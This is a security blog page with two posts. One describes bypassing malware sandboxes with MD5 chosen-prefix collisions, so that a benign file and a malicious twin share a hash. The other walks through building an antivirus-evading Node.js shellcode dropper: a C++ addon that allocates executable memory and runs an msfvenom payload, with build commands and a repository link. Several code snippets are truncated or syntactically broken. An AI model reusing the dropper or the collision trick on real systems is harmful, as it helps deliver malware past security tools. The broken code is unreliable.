Daniele Bellavista's Blog

Security, IT, Projects

Sandbox solution bypass: don’t use MD5! — 2015-07-27

Sandbox solution bypass: don’t use MD5!

Sandboxes are terrific tools for malware protection. They allow to analyze executables and documents, looking for threats unknown to antivirus products.

Thus, one of the main objective of malware writers is to bypass sandboxes by exhibiting malicious behaviors only when infecting the targets. But the eternal fight between malware writer versus sandbox writers to write respectively bypass and anti-bypass solution can end very quickly if the sandbox manager uses MD5 as unique file identifier. The first improvement of an automated Sandbox solution is to not re-analyze already known files (according to certain temporal policies maybe), so if you analyzed the program P identified with HASH(P), when a new program P’ arrives with HASH(P’) == HASH(P), then you can assume that P’ == P, right?

Statistically you can make that assumption, but if HASH is MD5, then you must know that writing two different files having the same MD5 hash value is very, very, very easy. As explained in HashClash, the generation of Chosen-prefix Collisions is very efficient, so one could write a program with the same prefix but different body. I’m not saying you can generate two completely different programs and append some magic suffix that make them identical in a reasonable period of time, but you can generate two different collision blocks that differs for a few bytes but have the same MD5.

Let’s assume we can create two collision blocks and embed them (in the correct position) inside a program data:

#include <stdio.h>

char pillData[] = "000000000000000000000"
                  /** ... **/
                  /** Collision Blocks **/
                  /** ... **/

int main() {
  if (pillData[666] !== 0x43) {
    // Do something evil
  } else {
    // Do something good

Let’s name the collision blocks A and A’, such that MD5(A) == MD5(A’), and A[J] == 0x43, A'[J] != 0x43. If we can embed them into pillData such that pillData[666] == 0x43 and pillData'[666] != 0x43 then the program with the A block will have a good behavior, while the program with the A’ code will have a bad behavior! (Note that the code is the same, the only difference between the two program is the value of pillData[666].)

Before approaching the binary world, I want to give a demonstration using an interpreted language. First download e compile fastcoll:

git clone https://github.com/upbit/clone-fastcoll
cd clone-fastcoll

Then write the beginning of a Python program:

#! /usr/bin/env python2
# -*- coding: utf-8 -*-

pill = """

Execute fastcoll and verify that the two generated files (md5_data1 and md5_data2) are different and have the same MD5.

./fastcoll ./test.py
md5sum ./md5_data*
diff md5_data*
sha256sum md5_data*

Now we can modify each file introducing the malicious and legal code:

#! /usr/bin/env python2
# -*- coding: utf-8 -*-

pill = """

if ord(pill[idx]) == val:
  print "Malicious!"
  print "Legal!"

Where idxis the index such that md5_data1.pill[idx] == val != md5_data2.pill[idx] . You can download two sample files here: https://www.dropbox.com/s/457e88q0s52kdl3/md5_collision.zip?dl=0 .

Now that we have the malicious and legal code with same MD5, we can bypass the target sandbox solution by sending the legal program first. Once it has been analyzed, we send the malicious code that, having the same MD5, won’t be analyzed at all.

My example of course was only a PoC, with few applications. In the next post we will analyze the SilentSignal’s sheep-wolf tool to create two real executable files: one .exe that spawn a meterpreter and one .exe that does nothing.

Toward a Node.js dropper — 2015-07-21

Toward a Node.js dropper

When working as penetration tester, after discovering a vulnerability you need to spend time in the post-exploitation phase. During this phase, you have to proof a possible attack path by assuming control of the target machine. One of the most used tool for this step is Meterpreter, which offers a tested, full-featured Remote Access Control solution.

A classic and simple vulnerability exploitation follows three steps:

  1. Vulnerability exploitation to execute the “shellcode”
  2. Payload download and execution
  3. Remote access control

Each step can be detected or blocked by the IT security perimeter, but in this scenario we only need to proof that the host is vulnerable by exploiting and infecting it and the most common host-based security solution is the antivirus.

Actually, to bypass antivirus solutions is simple (see this nice Malware Evasion Chart) but the goal is to minimize the resources used during the test. We cannot affort to write a custom dropper for each test, so tools like Veil Evasion comes in handy. Veil Evasion allows you to generate a metasploit payload by wrapping it with an ideally “signature-free” dropper. These droppers are written in multiple languages, such as python, c and event go!

But node.js isn’t in the list. So I decided to try creating something similar in node.js that could be hopefully integrated into Veil Evasion.

In the previous post I described the basic post-exploitation process and introduced the Veil Evasion framework.

Node.js doesn’t offer an interface to the Windows API, but allow the user to create addons, which are basically DLLs imported in Node.js. We can use this approach to define the API we need to execute a custom payload.

The simplest payload executor does the following:

  • Allocate enough memory with RWX permission
  • Decrypt the payload
  • Write the decripted payload in the allocated memory
  • Execute the payload

The decription will be performed by Node.js, while the other functions by the C++ addon:

void* area;

void AllocateSpace(const FunctionCallbackInfo<Value>& args) {
  Isolate* isolate = Isolate::GetCurrent();
  HandleScope scope(isolate);

  // Allocate space for the paylaod
  unsigned int size = args[0]->Uint32Value();
  area = VirtualAlloc(0, size * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

void CopyExecution(const FunctionCallbackInfo<Value>& args) {
  Isolate* isolate = Isolate::GetCurrent();
  HandleScope scope(isolate);

  // Copy the payload inside the allocated memory
  // The payload is provided as a Node.js Buffer
  Local<Object> bufferObj = args[0]->ToObject();
  char* bufferData = node::Buffer::Data(bufferObj);
  size_t bufferLength = node::Buffer::Length(bufferObj);
  memcpy(area, bufferData, bufferLength);

void Execute(const FunctionCallbackInfo<Value>& args) {
  Isolate* isolate = Isolate::GetCurrent();
  HandleScope scope(isolate);

  // Brutal payload execution
  (*(void (*)()) area)();

The function AllocateSpace calls the VirtualAlloc API, creating an RWX memory area. The function CopyExecution reads the first parameter as a Node.js buffer and copies it into the allocated memory area. Finally, the function Execute casts the memory area to a function pointer and invokes it.

The Node.js code (without the payload decryption) is straightforward:

var dropper = require('./dropper');
var payload = new Buffer([/* ... */]);

The full code for the module and the compilation procedure is available in my git repository: https://github.com/dbellavista/nodejs-dropper.

Now we have a .js file and a .node file, but we need an exe. To create it I used “enclose.js” which can create an exe file with the compiled version of the Node.js code, but it has one big problem. It’s unable to embed native modules into the exe, so you have to ship them with the exe. This is a serious limitation and still I haven’t found a solution yet. Of course you can create a self extracting archive, but it isn’t the same thing.

Now however, let’s finish the creation procedure. We need to install enclose.js (on windows) and create the exe:

npm install -g enclose
enclose --loglevel info -x -o main.exe main.js

Enclose.js will create “main.exe” and “dropper.main.exe.node“. To distribute it, rename the latter into “dropper.node” and ship it togheter with main.exe.

To test the code, I have used the metasploit exec payload to execute cal. Note that I have used the 64 bit shellcode, because I have node 64 bit installed.

msfvenom -p windows/x64/exec -f c CMD=calc.exe

Then just create a buffer with the given payload inside main.js and launch it!

This is only a first step toward a standalone Node.js dropper, and fell free to improve and comment if you liked it! The full code and procedure is at https://github.com/dbellavista/nodejs-dropper.

Dropper calc